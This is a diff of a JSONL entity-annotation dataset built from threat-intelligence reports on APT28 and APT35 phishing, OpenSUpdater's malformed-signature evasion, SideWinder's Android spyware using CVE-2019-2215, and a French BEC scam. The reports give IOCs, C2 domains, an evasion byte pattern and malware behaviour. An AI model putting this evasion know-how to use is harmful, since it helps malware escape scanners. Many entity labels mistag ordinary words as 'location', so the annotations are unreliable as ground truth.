-{"id":8060,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":25012,"label":"APT","start_offset":16,"end_offset":21},{"id":25013,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":25014,"label":"location","start_offset":31,"end_offset":39},{"id":25015,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":25016,"label":"URL","start_offset":229,"end_offset":255},{"id":25017,"label":"location","start_offset":256,"end_offset":260},{"id":25018,"label":"URL","start_offset":292,"end_offset":318},{"id":25019,"label":"location","start_offset":319,"end_offset":323},{"id":25020,"label":"URL","start_offset":340,"end_offset":366},{"id":25021,"label":"location","start_offset":367,"end_offset":371},{"id":25022,"label":"malware","start_offset":410,"end_offset":417},{"id":25023,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
+{"id":8060,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":25012,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":25013,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":25014,"label":"location","start_offset":31,"end_offset":39},{"id":25015,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":25016,"label":"URL","start_offset":229,"end_offset":255},{"id":25017,"label":"location","start_offset":256,"end_offset":260},{"id":25018,"label":"URL","start_offset":292,"end_offset":318},{"id":25019,"label":"location","start_offset":319,"end_offset":323},{"id":25020,"label":"URL","start_offset":340,"end_offset":366},{"id":25021,"label":"location","start_offset":367,"end_offset":371},{"id":25022,"label":"malware","start_offset":410,"end_offset":417},{"id":25023,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
 {"id":8061,"text":"Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info  ","entities":[{"id":25024,"label":"attack-pattern","start_offset":0,"end_offset":8},{"id":25025,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":8062,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]}
-{"id":8063,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":25027,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":8064,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
-{"id":8065,"text":"This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.","entities":[{"id":25028,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":8066,"text":"Attackers often rely on varying behaviors between different systems to gain access.","entities":[{"id":25029,"label":"location","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":8067,"text":"For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.","entities":[{"id":25030,"label":"location","start_offset":25,"end_offset":28},{"id":25031,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":8068,"text":"In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.","entities":[{"id":25032,"label":"location","start_offset":7,"end_offset":11},{"id":25033,"label":"location","start_offset":103,"end_offset":106},{"id":25035,"label":"location","start_offset":139,"end_offset":142},{"id":25037,"label":"location","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":8069,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
 {"id":8070,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
-{"id":8071,"text":"Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.","entities":[{"id":25039,"label":"location","start_offset":14,"end_offset":17},{"id":25040,"label":"location","start_offset":112,"end_offset":115},{"id":25041,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":8072,"text":"OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.","entities":[{"id":25043,"label":"location","start_offset":78,"end_offset":81},{"id":25044,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":8073,"text":"The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.","entities":[{"id":25046,"label":"location","start_offset":49,"end_offset":53},{"id":25047,"label":"location","start_offset":72,"end_offset":75},{"id":25048,"label":"location","start_offset":119,"end_offset":123},{"id":25050,"label":"location","start_offset":170,"end_offset":173},{"id":25051,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":8074,"text":"Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.","entities":[{"id":25053,"label":"location","start_offset":31,"end_offset":34},{"id":25054,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":8075,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":25056,"label":"malware","start_offset":18,"end_offset":30},{"id":25057,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":8076,"text":"In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.","entities":[{"id":25058,"label":"location","start_offset":67,"end_offset":74},{"id":25059,"label":"location","start_offset":175,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":8077,"text":"EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).  ","entities":[{"id":25060,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":8078,"text":"Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00","entities":[],"relations":[],"Comments":[]}
-{"id":8079,"text":"Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC  Security products using OpenSSL to extract signature information will reject this encoding as invalid.","entities":[{"id":25061,"label":"location","start_offset":132,"end_offset":140},{"id":25062,"label":"location","start_offset":197,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":8080,"text":"However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.","entities":[{"id":25063,"label":"location","start_offset":87,"end_offset":91},{"id":25064,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8081,"text":"This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.","entities":[{"id":25066,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":8082,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
-{"id":8083,"text":"This issue has been reported to Microsoft.","entities":[{"id":25067,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":8084,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":25069,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":8085,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":25070,"label":"location","start_offset":14,"end_offset":17},{"id":25071,"label":"SHA1","start_offset":46,"end_offset":156},{"id":25072,"label":"URL","start_offset":170,"end_offset":280}],"relations":[],"Comments":[]}
-{"id":8086,"text":"Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.","entities":[{"id":25074,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":8087,"text":"Users are encouraged to only download and install software from reputable and trustworthy sources.","entities":[{"id":25075,"label":"location","start_offset":6,"end_offset":9},{"id":25076,"label":"location","start_offset":24,"end_offset":28},{"id":25077,"label":"location","start_offset":38,"end_offset":41},{"id":25078,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":8088,"text":"Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.","entities":[{"id":25080,"label":"TIME","start_offset":24,"end_offset":31},{"id":25081,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":8089,"text":"We found three malicious apps in the Google Play Store that work together to compromise a victim’s device and collect user information.","entities":[{"id":25084,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":8090,"text":"One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).","entities":[{"id":25087,"label":"location","start_offset":52,"end_offset":56},{"id":25088,"label":"malware","start_offset":106,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":8091,"text":"This is the first known active attack in the wild that uses the use-after-free vulnerability.","entities":[],"relations":[],"Comments":[]}
-{"id":8092,"text":"Interestingly, upon further investigation we also found that the three apps are likely to be part of the SideWinder threat actor group’s arsenal.","entities":[{"id":25090,"label":"location","start_offset":76,"end_offset":79},{"id":25091,"label":"location","start_offset":80,"end_offset":86},{"id":25093,"label":"location","start_offset":137,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":8093,"text":"SideWinder, a group that has been active since 2012, is a known threat and has reportedly targeted military entities’ Windows machines.","entities":[{"id":25096,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":8094,"text":"The three malicious apps were disguised as photography and file manager tools.","entities":[{"id":25098,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":8095,"text":"We speculate that these apps have been active since March 2019 based on the certificate information on one of the apps.","entities":[],"relations":[],"Comments":[]}
 {"id":8096,"text":"The apps have since been removed from Google Play.","entities":[],"relations":[],"Comments":[]}
 {"id":8097,"text":"  Figure 1. The three apps related to SideWinder group  Figure 2.","entities":[],"relations":[],"Comments":[]}
 {"id":8098,"text":"Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.","entities":[],"relations":[],"Comments":[]}
-{"id":8099,"text":"It first downloads a DEX file (an Android file format) from its command and control (C&C) server.","entities":[{"id":25111,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":8100,"text":"We found that the group employs Apps Conversion Tracking to configure the C&C server address.","entities":[],"relations":[],"Comments":[]}
 {"id":8101,"text":"The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.","entities":[],"relations":[],"Comments":[]}
 {"id":8102,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":8103,"text":"Parsed C&C Server address","entities":[],"relations":[],"Comments":[]}
-{"id":8104,"text":"After this step, the downloaded DEX file downloads an APK file and installs it after exploiting the device or employing accessibility.","entities":[{"id":25113,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":8105,"text":"All of this is done without user awareness or intervention.","entities":[],"relations":[],"Comments":[]}
-{"id":8106,"text":"To evade detection, it uses many techniques such as obfuscation, data encryption, and invoking dynamic code.","entities":[{"id":25114,"label":"location","start_offset":28,"end_offset":32},{"id":25115,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8107,"text":"The apps Camero and FileCrypt Manger act as droppers.","entities":[{"id":25117,"label":"location","start_offset":16,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":8108,"text":"After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.","entities":[{"id":25120,"label":"location","start_offset":124,"end_offset":127},{"id":25121,"label":"malware","start_offset":139,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":8109,"text":" Figure 4. Two-stage payload deployment  Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user’s awareness","entities":[{"id":25125,"label":"malware","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":8110,"text":", SideWinder does the following:  1. Device Rooting  This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.","entities":[{"id":25126,"label":"threat-actor","start_offset":2,"end_offset":12},{"id":25129,"label":"location","start_offset":101,"end_offset":104},{"id":25130,"label":"location","start_offset":105,"end_offset":109},{"id":25142,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]}
@@ -8112,32 +6620,21 @@
 {"id":8112,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":8113,"text":"Code snippet from Extra DEX downloaded by Camero","entities":[],"relations":[],"Comments":[]}
 {"id":8114,"text":"We were able to download five exploits from the C&C server during our investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":8115,"text":"They use the vulnerabilities CVE-2019-2215 and MediaTek-SU to get root privilege.","entities":[{"id":25148,"label":"location","start_offset":38,"end_offset":42},{"id":25149,"label":"location","start_offset":43,"end_offset":46},{"id":25150,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":8116,"text":" Figure 7. CVE-2019-2215 exploit  Figure 8.","entities":[{"id":25152,"label":"location","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":8117,"text":"MediaTek-SU exploit","entities":[],"relations":[],"Comments":[]}
 {"id":8118,"text":"After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it.  Figure 9.","entities":[{"id":25154,"label":"location","start_offset":16,"end_offset":20},{"id":25155,"label":"malware","start_offset":61,"end_offset":68},{"id":25156,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":8119,"text":"Commands","entities":[],"relations":[],"Comments":[]}
-{"id":8120,"text":"install app, launch app, and enable accessibility","entities":[{"id":25158,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":8121,"text":" 2. Device Rooting  This approach is used by the dropper app FileCrypt Manager and works on most typical Android phones above Android 1.6.","entities":[{"id":25161,"label":"location","start_offset":79,"end_offset":82},{"id":25162,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":8122,"text":"After its launch, the app asks the user to enable accessibility.","entities":[],"relations":[],"Comments":[]}
 {"id":8123,"text":" Figure 10. Steps FileCrypt Manager prompts user to do","entities":[],"relations":[],"Comments":[]}
 {"id":8124,"text":"Once granted, the app shows a full screen window that says that it requires further setup steps.","entities":[],"relations":[],"Comments":[]}
 {"id":8125,"text":"In reality, that is just an overlay screen that is displayed on top of all activity windows on the device.","entities":[{"id":25165,"label":"identity","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":8126,"text":"The overlay window sets its attributions to FLAG_NOT_FOCUSABLE and FLAG_NOT_TOUCHABLE, allowing the activity windows to detect and receive the users’ touch events through the overlay screen.  Figure 11.","entities":[{"id":25166,"label":"location","start_offset":63,"end_offset":66},{"id":25167,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":8127,"text":"Overlay screen","entities":[],"relations":[],"Comments":[]}
 {"id":8128,"text":"Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.","entities":[{"id":25169,"label":"location","start_offset":99,"end_offset":102},{"id":25170,"label":"malware","start_offset":139,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":8129,"text":"It also enables the payload app’s accessibility permission, and then launches the payload app.","entities":[{"id":25171,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":8130,"text":"All of this happens behind the overlay screen, unbeknownst to the user.","entities":[],"relations":[],"Comments":[]}
-{"id":8131,"text":"And, all these steps are performed by employing Accessibility.","entities":[{"id":25172,"label":"location","start_offset":0,"end_offset":3},{"id":25173,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":8132,"text":"Figure 12. Code enabling install of unknown apps and new APK  Figure 13.","entities":[{"id":25175,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":8133,"text":"Code enable accessibility permission of the newly installed app","entities":[],"relations":[],"Comments":[]}
-{"id":8134,"text":"The video below demonstrates payload deployment via CVE-2019-2215 on Pixel 2:","entities":[{"id":25177,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":8135,"text":"  &amp;amp;amp;amp;amp;nbsp;   callCam’s Activities","entities":[{"id":25178,"label":"malware","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":8136,"text":"The app callCam hides its icon on the device after being launched.","entities":[],"relations":[],"Comments":[]}
-{"id":8137,"text":"It collects the following information and sends it back to the C&C server in the background:  Location Battery status Files on device Installed app list Device information","entities":[{"id":25180,"label":"location","start_offset":38,"end_offset":41},{"id":25181,"label":"location","start_offset":148,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":8138,"text":"Sensor information Camera information Screenshot Account Wifi information","entities":[],"relations":[],"Comments":[]}
 {"id":8139,"text":"Data of WeChat, Outlook, Twitter, Yahoo Mail, Facebook, Gmail, and Chrome  The app encrypts all stolen data using RSA and AES encryption algorithms.","entities":[{"id":25188,"label":"location","start_offset":63,"end_offset":66},{"id":25190,"label":"identity","start_offset":114,"end_offset":117},{"id":25191,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":8140,"text":"It uses SHA256 to verify data integrity and customize the encoding routine.","entities":[{"id":25192,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":8141,"text":"When encrypting, it creates a block of data we named headData.","entities":[],"relations":[],"Comments":[]}
 {"id":8142,"text":"This block contains the first 9 bytes of origin data, origin data length, random AES IV, the RSA-encrypted AES encrypt key, and the SHA256 value of AES-encrypted origin data.","entities":[{"id":25194,"label":"identity","start_offset":93,"end_offset":96},{"id":25195,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":8143,"text":"Then the headData is encoded through the customized routine.","entities":[],"relations":[],"Comments":[]}
@@ -8145,690 +6642,235 @@
 {"id":8145,"text":" Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":8146,"text":"Data encryption process  Figure 15.","entities":[],"relations":[],"Comments":[]}
 {"id":8147,"text":"Customized encoding routine done Relation to SideWinder","entities":[],"relations":[],"Comments":[]}
-{"id":8148,"text":"These apps may be attributed to SideWinder as the C&C servers it uses are suspected to be part of SideWinder’s infrastructure.","entities":[{"id":25199,"label":"location","start_offset":11,"end_offset":14},{"id":25201,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":8149,"text":"In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.","entities":[],"relations":[],"Comments":[]}
 {"id":8150,"text":" Figure 16.","entities":[],"relations":[],"Comments":[]}
 {"id":8151,"text":"Google Play URL of FileManager app found in one of the C&C servers.","entities":[],"relations":[],"Comments":[]}
-{"id":8152,"text":"Trend Micro Solutions Trend Micro solutions such as the Trend Micro™ Mobile Security for Android™ can detect these malicious apps.","entities":[{"id":25211,"label":"location","start_offset":28,"end_offset":33},{"id":25212,"label":"location","start_offset":62,"end_offset":67},{"id":25213,"label":"location","start_offset":69,"end_offset":75},{"id":25214,"label":"location","start_offset":76,"end_offset":84},{"id":25215,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":8153,"text":"End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.","entities":[{"id":25216,"label":"location","start_offset":10,"end_offset":13},{"id":25217,"label":"location","start_offset":49,"end_offset":57},{"id":25218,"label":"location","start_offset":107,"end_offset":110},{"id":25219,"label":"location","start_offset":119,"end_offset":122},{"id":25220,"label":"location","start_offset":133,"end_offset":137},{"id":25221,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":8154,"text":"For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.","entities":[{"id":25222,"label":"location","start_offset":29,"end_offset":34},{"id":25223,"label":"location","start_offset":35,"end_offset":41},{"id":25224,"label":"location","start_offset":42,"end_offset":50},{"id":25225,"label":"location","start_offset":55,"end_offset":65},{"id":25226,"label":"location","start_offset":101,"end_offset":104},{"id":25227,"label":"location","start_offset":134,"end_offset":144},{"id":25228,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":8155,"text":"It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.","entities":[{"id":25229,"label":"location","start_offset":106,"end_offset":109},{"id":25230,"label":"location","start_offset":118,"end_offset":121},{"id":25231,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":8156,"text":"Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.     Indicators of Compromise    SHA256 Package Name\/File type App Name\/Detection Name ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34 DEX AndroidOS_SWinderSpy.HRXA a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00 DEX AndroidOS_SWinderSpy.HRXA","entities":[{"id":25233,"label":"location","start_offset":14,"end_offset":20},{"id":25234,"label":"location","start_offset":45,"end_offset":49},{"id":25235,"label":"location","start_offset":66,"end_offset":69},{"id":25236,"label":"location","start_offset":104,"end_offset":107},{"id":25238,"label":"location","start_offset":181,"end_offset":184},{"id":25239,"label":"location","start_offset":216,"end_offset":219},{"id":25240,"label":"location","start_offset":306,"end_offset":310},{"id":25241,"label":"SHA1","start_offset":335,"end_offset":399},{"id":25242,"label":"SHA2","start_offset":430,"end_offset":494}],"relations":[],"Comments":[]}
 {"id":8157,"text":"0daefb3d05e4455b590da122255121079e83d48763509b0688e0079ab5d48886","entities":[{"id":25243,"label":"SHA1","start_offset":0,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":8158,"text":"ELF AndroidOS_MtkSu.A 441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa ELF AndroidOS_BinderExp.A ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5 ELF AndroidOS_BinderExp.A ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8 ELF AndroidOS_BinderExp.A 135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251 ELF","entities":[{"id":25244,"label":"MD5","start_offset":22,"end_offset":86},{"id":25245,"label":"SHA1","start_offset":113,"end_offset":177},{"id":25246,"label":"SHA1","start_offset":204,"end_offset":268},{"id":25247,"label":"SHA1","start_offset":295,"end_offset":359}],"relations":[],"Comments":[]}
 {"id":8159,"text":"AndroidOS_MtkSu.A a265c32ed1ad47370d56cbd287066896d6a0c46c80a0d9573d2bb915d198ae42 com.callCam.android.callCam2base callCamm","entities":[{"id":25248,"label":"SHA2","start_offset":18,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":8160,"text":"Package Name\/File type App Name\/Detection Name com.abdulrauf.filemanager","entities":[{"id":25249,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":8161,"text":"FileCrypt Manager com.callCam.android.callCam2base callCamm com.camero.android.camera2basic Camero","entities":[],"relations":[],"Comments":[]}
 {"id":8162,"text":"  C&C Servers  ms-ethics.net","entities":[],"relations":[],"Comments":[]}
 {"id":8163,"text":"          deb-cn.net ap1-acl.net m s-db.net","entities":[],"relations":[],"Comments":[]}
-{"id":8164,"text":"            aws-check.net  reawk.net  MITRE ATT&CK Matrix™         Tags  Mobile | APT & Targeted Attacks | Research","entities":[{"id":25256,"label":"location","start_offset":73,"end_offset":79},{"id":25257,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8165,"text":"The highly anonymous and often secretive nature of the internet has led to the proliferation of scams aimed at separating people and organizations from their money.","entities":[{"id":25258,"label":"location","start_offset":21,"end_offset":24},{"id":25259,"label":"location","start_offset":129,"end_offset":132},{"id":25260,"label":"location","start_offset":158,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":8166,"text":"Trend Micro has been following these scams over the years and have seen many of them evolve from simplistic schemes to more sophisticated campaigns.","entities":[{"id":25263,"label":"location","start_offset":58,"end_offset":61},{"id":25264,"label":"location","start_offset":72,"end_offset":76},{"id":25265,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":8167,"text":"One of the most dangerous scams today — one which cost organizations a combined  US$1.7 billion in exposed losses in 2019 —  is Business Email Compromise (BEC).","entities":[{"id":25267,"label":"location","start_offset":11,"end_offset":15},{"id":25269,"label":"location","start_offset":40,"end_offset":43},{"id":25270,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":8168,"text":"We have already tackled a large number of BEC-related topics.","entities":[{"id":25273,"label":"location","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":8169,"text":"In this article, however, we would like to raise awareness about a new modus operandi involving a very clever BEC campaign that uses social engineering to target a huge number of French companies across different industries.","entities":[{"id":25274,"label":"location","start_offset":103,"end_offset":109},{"id":25275,"label":"location","start_offset":114,"end_offset":122},{"id":25276,"label":"location","start_offset":155,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":8170,"text":"     Figure 1. Diagram showing how the BEC scam is carried out      Background","entities":[],"relations":[],"Comments":[]}
-{"id":8171,"text":"While investigating various BEC attacks, we found an isolated incident where malicious actors impersonated a French company in the metal fabrication industry, which provides its services to a lot of different companies.","entities":[{"id":25280,"label":"location","start_offset":131,"end_offset":136},{"id":25281,"label":"location","start_offset":149,"end_offset":157},{"id":25282,"label":"location","start_offset":192,"end_offset":195}],"relations":[],"Comments":[]}
-{"id":8172,"text":"The malicious actors behind the scam registered a domain that is very similar to the legitimate one used by the business (with the fake one having a misspelled company name) and used it to send emails to their targets.","entities":[{"id":25283,"label":"location","start_offset":96,"end_offset":99},{"id":25284,"label":"location","start_offset":136,"end_offset":139},{"id":25285,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":8173,"text":"The fraudulent domain was registered on July 27, 2020, and the perpetrators sent the fraudulent email on the same day.","entities":[{"id":25287,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":8174,"text":"The email, which was impersonating a real employee of the company, contained a request asking the targets to change the company’s banking reference to a new account with an Italian bank.","entities":[{"id":25289,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":8175,"text":"     Figure 2. Screenshot of the email containing a request to change the target company’s banking reference to a new account in an Italian bank.","entities":[{"id":25292,"label":"location","start_offset":74,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":8176,"text":"A rough translation of the email: “Following a banking account change, please find our new banking references (mail and Bank Identifier Code) attached, which we kindly ask you to update in your files.","entities":[{"id":25294,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":8177,"text":"Thank you for your understanding.","entities":[],"relations":[],"Comments":[]}
-{"id":8178,"text":"Please confirm the reception of this email and confirm the handling of our request (very urgent!)","entities":[{"id":25295,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":8179,"text":"    The email contained two PDF file attachments.","entities":[],"relations":[],"Comments":[]}
-{"id":8180,"text":"The first one was a letter to confirm the change, as seen in the screenshot below.","entities":[{"id":25298,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8181,"text":"     Figure 3. Letter confirming the changes in the company’s bank reference.","entities":[],"relations":[],"Comments":[]}
-{"id":8182,"text":"The PDF file looks very professional and even contains the real footers and logos from the impersonated company.","entities":[{"id":25300,"label":"location","start_offset":37,"end_offset":40},{"id":25301,"label":"location","start_offset":59,"end_offset":63},{"id":25302,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":8183,"text":"    Meanwhile, the second PDF file shows the banking account reference number:      Figure 4.","entities":[],"relations":[],"Comments":[]}
